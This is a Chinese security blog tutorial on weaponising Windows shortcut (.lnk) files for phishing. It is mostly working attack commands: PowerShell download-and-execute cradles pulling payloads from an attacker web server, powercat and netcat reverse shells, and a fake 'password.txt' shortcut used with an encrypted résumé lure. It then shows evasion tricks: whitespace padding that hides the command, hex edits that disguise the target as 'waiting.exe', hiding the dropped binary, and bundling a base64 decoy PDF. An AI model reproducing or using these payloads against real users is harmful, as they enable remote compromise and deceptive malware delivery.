LNK攻击浅析(一)

2024-04-11 934 0

LNK文件简介

.LNK文件是一种Windows文件类型,通常称为快捷方式,在计算机上看到并使用过它们,以便我们轻松地直接从桌面启动。

LNK 文件的例子:双击如下图所示的google chrome图标来打开google chrome浏览器。

LNK攻击浅析(一)插图

LNK文件加载程序

那么接下来考虑的是如何利用快捷方式加载恶意程序文件,这里还是以google chrome为例,查看快捷方式的属性,目标:"C:\Program Files\Google\Chrome\Application\chrome.exe

LNK攻击浅析(一)插图1

目标指向一个可执行文件,用户在双击快捷方式后,则执行目标指向的exe文件,其本质还是执行指向的文件或命令。

LNK攻击

LNK攻击通常涉及使用一些 LOLBINS( Living Off The Land Binaries 离地攻击二进制文件,和无文件落地很像)来下载和执行下载一个恶意软件。也可以是执行cmd和powershell等命令或执行 mshta.exe 和 regsrv32.exe等文件(包括但不限于:owershell.exe、bitsadmin.exe、certutil.exe、psexec.exe、wmic.exe、mshta.exe、mofcomp.exe、cmstp.exe、windbg.exe、cdb.exe、msbuild.exe、csc.exe)。

LNK攻击实例

新建一个快捷方式

LNK攻击浅析(一)插图2

对象位置输入cmd(powershell或calc都行,等会目标得换)

LNK攻击浅析(一)插图3

下一步

LNK攻击浅析(一)插图4

点击“完成”,这时候桌面上多了一个cmd的快捷方式

LNK攻击浅析(一)插图5

右击这个快捷方式,属性->常规

LNK攻击浅析(一)插图6

将名称改成一个比较容易迷惑人的名称,这里改成“Google Update Client”

快捷方式选项卡,更改图标

LNK攻击浅析(一)插图7

在搜索框中输入:%SystemRoot%\System32\SHELL32.dll,(还有一个图标更换路径:%SystemRoot%\\System32\\imageres.dll)回车,即可选择图标

LNK攻击浅析(一)插图8

选择符合名称的图标,点击确认即可

LNK攻击浅析(一)插图9

LNK攻击浅析(一)插图10

攻击机(实战中一般为公网vps)起一个web服务,这里用python

python -m http.server --bind=192.168.0.101 8888

LNK攻击浅析(一)插图11

然后在web的根目录下,新建一个ps1文件

这里命名为main.ps1:

(new-object System.Net.WebClient).DownloadFile('http://192.168.0.101:8888/mytest.exe','C:\Users\Public\Downloads\mytest.exe')

cmd /c C:\Users\Public\Downloads\mytest.exe

LNK攻击浅析(一)插图12

(paylaod功能:第一个命令从192.168.0.101:8888下载mytest.exe到C:\Users\Public\Downloads\文件夹下,第二个命令是执行C:\Users\Public\Downloads\文件夹下的mytest.exe)

然后在新建的Google Update Client快捷方式的目标中输入:

powershell.exe -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101:8888/main.ps1');main.ps1"(这里解释下上面的payload的功能,下载从192.168.0.101:8888下载main.ps1,然后执行main.ps1文件)

LNK攻击浅析(一)插图13

这时候双击快捷方式,就从web服务上下载mytest.exe到C:\Users\Public\Downloads文件夹下,然后执行mytest.exe

mytest.exe下载到执行文件夹下

LNK攻击浅析(一)插图14

已经上线了

LNK攻击浅析(一)插图15

Tips:这里需要注意lnk文件的目标不能直接访问(下载)exe文件并执行它

将目标改成:

powershell.exe -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.101:8888/mytest.exe');mytest.exe"

LNK攻击浅析(一)插图16

双击lnk文件后,确实访问了web的mytest.exe文件

LNK攻击浅析(一)插图17

但是cs没有收到shell

LNK攻击浅析(一)插图18

那么确实只能通过访问能在目标执行的ps1或bat等脚本来间接下载木马然后执行它。

TIPS:

既然提到了执行命令的路径,这里需要提醒一下,其实使用命令的相对路径会好一些,攻击者所使用的命令路径不一定跟被攻击者的路径一致,而写入lnk文件会自动变成攻击者命令所在的绝对路径,如:cmd.exe会被填充成:C:\Windows\System32\cmd.exe,那么不如直接设置成相对路径

“%SystemRoot%\system32\cmd.exe(或%windir%/System32/cmd.exe)”

还有%ComSpec%(环境变量)可是可以代替C:\Windows\System32\cmd.exe

LNK攻击浅析(一)插图19

使用powercat脚本反弹shell

或者截住一些ps脚本通过powershell的执行反弹shell

这里用的是

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

因为这个url需要挂梯子,所以将powercat.ps1下载到本地

攻击机在powercat.ps1所在文件夹起一个简单的web服务

python -m http.server --bind=192.168.0.104 8888

LNK攻击浅析(一)插图20

lnk的目标设置为:

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.0.104:8888/powercat.ps1');powercat -c 192.168.0.104 -p 6666 -e cmd

LNK攻击浅析(一)插图21

点击“确认”后,双击“Google Update Client”快捷方式(被攻击方会弹窗),收到shell

LNK攻击浅析(一)插图22

其他相似的利用方式也有很多,请参考“反弹shell方式总结windows篇.docx”

加密文档结合lnk钓鱼

先生成一个快捷方式,如:cmd(后面目标会改)

LNK攻击浅析(一)插图23

生成后,先更改图标

LNK攻击浅析(一)插图24

选择“文本文档”图标

LNK攻击浅析(一)插图25

点击确认后,快捷方式的图标变成文本文档了,然后将快捷方式命名为“password.txt”

LNK攻击浅析(一)插图26

新建文档“李云龙-简历-渗透测试工程师.docx”,设置密码:Test@1369

LNK攻击浅析(一)插图27

再打开“李云龙-简历-渗透测试工程师.docx”就需要密码了

LNK攻击浅析(一)插图28

现在回到快捷方式,修改目标为:cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt) & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.1.105:8088/nc.exe & .\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)

(Tips:这里说明下上面的命令,执行快捷方式文件后,会将“Test@1369”写入新生成的password.txt文件中,然后打开password.txt文件,接下来会从192.168.1.105:8088上下载nc.exe,并执行反弹shell操作)

LNK攻击浅析(一)插图29

攻击端在nc所在目录下用python起一个web服务

python -m http.server --bind=192.168.1.105 8088

LNK攻击浅析(一)插图30

攻击端监听8888端口

LNK攻击浅析(一)插图31

这里将lnk文件和简历word文件放在一个文件夹内,命名为:李云龙-简历-渗透测试工程师

LNK攻击浅析(一)插图32

添加到压缩包(还可以利用自解压运行,这里暂且不表

LNK攻击浅析(一)插图33

模拟钓鱼

将此压缩包丢虚拟机,被攻击者打开简历word文档,发现加密了

LNK攻击浅析(一)插图34

这时候被攻击者就会打开名为password.txt的lnk文件,去查看密码,txt

文档被打开,显示密码

LNK攻击浅析(一)插图35

同一时间,从攻击端下载nc

LNK攻击浅析(一)插图36

下载后执行nc反弹shell命令,攻击端收到反弹shell

LNK攻击浅析(一)插图37

优化钓鱼一

这里为了更符合实战钓鱼将lnk文件目标处输入的命令进行修改

将下载的nc.exe文件放到D盘某个目录下,这里因为虚拟机只有C盘则放到C盘,C:\Users文件夹下(这里仅为举例,通过测试,好像这个文件夹下如果不是管理员账户是没有修改权限,也就是写入不了文件的),打开password.txt文本文件后,删除password.txt.lnk文件

cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\system32\cmd.exe)

但是这样就超出“目标”的长度限制了,长度限制为260(小于)

上述payload放入lnk文件 的目标后,自动截断成如下:

C:\WINDOWS\system32\cmd.exe /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf C:\Users\nc.exe http://192.168.1.105:8088/nc.exe & C:\Users\nc.exe 192.168.1.105 8888 -e c:\windows\sys

长度为259,且相关的系统命令会自动填充绝对路径,如:cmd.exe会填充为C:\WINDOWS\system32\cmd.exe;

powershell.exe会填充为C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

LNK攻击浅析(一)插图38

突破lnk目标长度限制方法

利用powershell来突破,代码如下:

$file = Get-Content ".\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(".\password.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,70"
$Shortcut.Arguments = '                                                                                                                                                                                                                                                                                                                                                                                 '+ $file
$Shortcut.Save()

第一行就是读取test.txt中的内容

第三行是创建一个名为password.txt的lnk文件

第四行设置lnk文件的目标为%SystemRoot%\system32\cmd.exe(设置成%windir%/System32/cmd.exe也可)

第5行设置lnk文件的图标为文本文档的图标(最后的70表示文本文档图标,修改数字则设置相应图标)

第六行是添加值到lnk文件的目标(这里就是突破目标长度的限制的关键代码)

第七行就是保存(执行保存操作才会新建上述功能的lnk文件)

LNK攻击浅析(一)插图39

生成了password.txt.lnk文件

LNK攻击浅析(一)插图40

查看lnk文件的属性,发现填充的空白,写入的命令在空白文件之后,这样也可以迷惑被攻击者

LNK攻击浅析(一)插图41

将“目标”框内的光标拉到输入框的最左边,才能看到cmd.exe

LNK攻击浅析(一)插图42

现在起web服务

python -m http.server --bind=192.168.0.102 8088

LNK攻击浅析(一)插图43

监听端口

LNK攻击浅析(一)插图44

模拟被攻击者解压简历压缩文件后打开password.txt.lnk

password.txt文件被新建且被打开,同时lnk文件被删除

LNK攻击浅析(一)插图45

Web服务收到请求

LNK攻击浅析(一)插图46

收到shell

LNK攻击浅析(一)插图47

优化钓鱼二

使用010edit打开lnk文件sExtraData字段的EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode可以看到调用的是cmd.exe

LNK攻击浅析(一)插图48

这里将EnvironmentVariableDataBlock中的TargetAnsi及TargetUnicode中的cmd.exe换成其它不存在的exe文件名,这样可以很好的迷惑被攻击者(还有一个思路可以换成危害不大的exe文件名,如:adobe.exe

这里换成waiting.exe

LNK攻击浅析(一)插图49

保存后,发现lnk文件的目标已经被修改

LNK攻击浅析(一)插图50

双击lnk文件如果运行出错,那么修改sLinkTargetIDList字段的sIDList的值为cmd.exe(在不同场景中修改成相应的能运行的文件)

LNK攻击浅析(一)插图51

Tips:

这里需要注意,在做完lnk文件的伪装操作后,一定要在其他电脑上进行测试,双击lnk文件是否会出错,在测试时发现,在攻击端(生成lnk文件的电脑上)修改目标的执行文件名为不存在的文件名时(系统目录不存在),会正常执行,在被钓鱼端执行依然会报错显示文件不存在

LNK攻击浅析(一)插图52

怎么解决这个问题呢,经过测试,在被钓鱼端运行一次报文件不存在后,在被钓鱼端用010edit修改lnk文件的sLinkTargetIDList字段的sIDList的值的ExtraDataBlock的值设置成cmd.exe就可以正常执行了

LNK攻击浅析(一)插图53

保存修改后,将此文件丢到另一个被钓鱼端运行,发现没有报错了,且目标的执行文件名改成了waiting.exe,且新建password.txt和打开它

LNK攻击浅析(一)插图54

收到反弹shell

LNK攻击浅析(一)插图55

所以真实钓鱼中,一定要在另一台电脑上(虚拟机也可以)运行自己做lnk文件,报错,就在另一台电脑上按上述进行修改

优化钓鱼三

在目录下选择查看隐藏文件仍无法查看(在cmd下使用dir命令依然查看不了文件和文件夹,但是使用everything这类文件搜索工具依然可以搜索到隐藏文件和文件夹)

命令行输入:attrib +s +h +r 要隐藏的文件

attrib +s +h +r(不指定文件,则隐藏当前文件夹下所有文件)

未执行命令前

LNK攻击浅析(一)插图56

执行命令后,sigthief.py在文件夹下打开“隐藏的项目”看不到,在命令行也看不到(文件个数在命令行下都减少了一个)

LNK攻击浅析(一)插图57

但是sigthief.py依然可以正常使用

LNK攻击浅析(一)插图58

输入:attrib -s -h -r sigthief.py,即可解除隐藏

LNK攻击浅析(一)插图59

attrib -s -h –r(不指定文件,则解除当前文件夹内所有隐藏)

在实际钓鱼中,有些文件夹确实需要权限,或者指定的目录不存在(相对路径如果../这种形式超出当前盘符的话就会保存失败),当前文件夹是比较靠谱的(相对路径),但是很容易发现,这时候就可以将其隐藏

思路就是将下载后的exe文件进行隐藏

优化后的payload如下:

cmd /c (echo Test@1369 >.\password.txt & start /b .\password.txt & del password.txt.lnk) & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.0.102:8088/nc.exe & attrib +s +h +r nc.exe & .\nc.exe 192.168.0.102 8888 -e c:\windows\system32\cmd.exe)

使用powershell脚本突破lnk文件长度,生成了password.txt的lnk文件

然后按照优化二将lnk文件利用010edit进行修改

现在模拟,钓鱼,解压简历压缩包后,被攻击者加入查看lnk文件的目标,看到是waiting.exe,根本不知道这是什么文件

LNK攻击浅析(一)插图60

然后双击lnk文件,nc文件隐藏了,且通过命令行也查看不到

LNK攻击浅析(一)插图61

收到反弹shell

LNK攻击浅析(一)插图62

取消隐藏nc文件attrib -s -h –r

LNK攻击浅析(一)插图63

优化钓鱼四

假设将lnk文件伪造成pdf或文档类型(doc、xlsx、ppt等),来钓鱼,那么如果文件夹查看方式为“详细信息”,可能就会看到lnk文件过小

LNK攻击浅析(一)插图64

将lnk文件的图标改成pdf样式,使用010edit打开,修改ICON_LOCATION的值为.\1.pdf,修改为相关后缀,系统即可动关联到对应的打开方式

LNK攻击浅析(一)插图65

那么就将真正的相应伪造的文件跟lnk文件进行捆绑,双击lnk文件就会真正打开相应的文件,且lnk文件的大小也会变大(lnk文件跟捆绑的文件的大小之和)

copy /b 产品经理简历.pdf.lnk + 产品经理简历.pdf 产品经理简历.pdf.lnk

LNK攻击浅析(一)插图66

可以看到lnk文件的大小已经变大

LNK攻击浅析(一)插图67

双击lnk文件,打开计算器

但是上面的直接复制并不能打开真正的pdf文件,做如下几步即可

第一步

先用powershell代码生成lnk文件

$file = Get-Content ".\test.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut(".\password.txt.lnk")
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,70"
$Shortcut.Arguments = '                                                                                                                                                                                                                                                                                                                                                                                 '+ $file
$Shortcut.Save()

LNK攻击浅析(一)插图68

其目标值为:

/c findstr "JVBERi0xLjUNCiW1tbW1DQoxIDAgb2JqDQo8PC9UeXBlL0NhdGFsb2cvUG" 产品经理简历.pdf.lnk>%TEMP%\test & certutil -decode %TEMP%\test %TEMP%\产品经理简历.pdf & start %TEMP%\产品经理简历.pdf & (powershell.exe -nop -w hidden iwr -outf .\nc.exe http://192.168.0.106:8088/nc.exe & attrib +s +h +r nc.exe & .\nc.exe 192.168.0.106 8888 -e c:\windows\system32\cmd.exe & exit)

LNK攻击浅析(一)插图69

Tips:

这里需要注意,要将test3.txt的编码格式设置为“ANSI编码”,不然将payload写入lnk目标后,中文字符会变成乱码,从而使真正的pdf文件不能解码打开

LNK攻击浅析(一)插图70

第二步

修改ICON_LOCATION的值为“.\ 1.pdf”

LNK攻击浅析(一)插图71

第三步

将要伪造的文件,如pdf的内容进行base64加密,然后使用copy命令进行捆绑

1、将pdf的内容进行base64加密

LNK攻击浅析(一)插图72

import os,base64

file = open("产品经理简历.pdf","rb")
text = file.read()
file.close()
data = base64.b64encode(text)
print(str(data).split("b'")[1].split("'")[0])
f = open("test","w")
f.write("\n"+str(data).split("b'")[1].split("'")[0])
f.close()

这里将pdf的内容base64编码后记得加个换行后保存到test文件中,不加换行保存到test文件跟lnk文件绑定后,使用findstr找到的base64编码后pdf内容前会有其它值

LNK攻击浅析(一)插图73

因此在base64值前加个换行就可以解决这个问题

LNK攻击浅析(一)插图74

2、将上图中的base64保存在test文件中,然后将lnk文件和test进行捆绑

copy /b 产品经理简历.pdf.lnk + test 产品经理简历.pdf.lnk

LNK攻击浅析(一)插图75

现在模拟被钓鱼者打开简历, 打开pdf简历

LNK攻击浅析(一)插图76

收到反弹shell

LNK攻击浅析(一)插图77


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论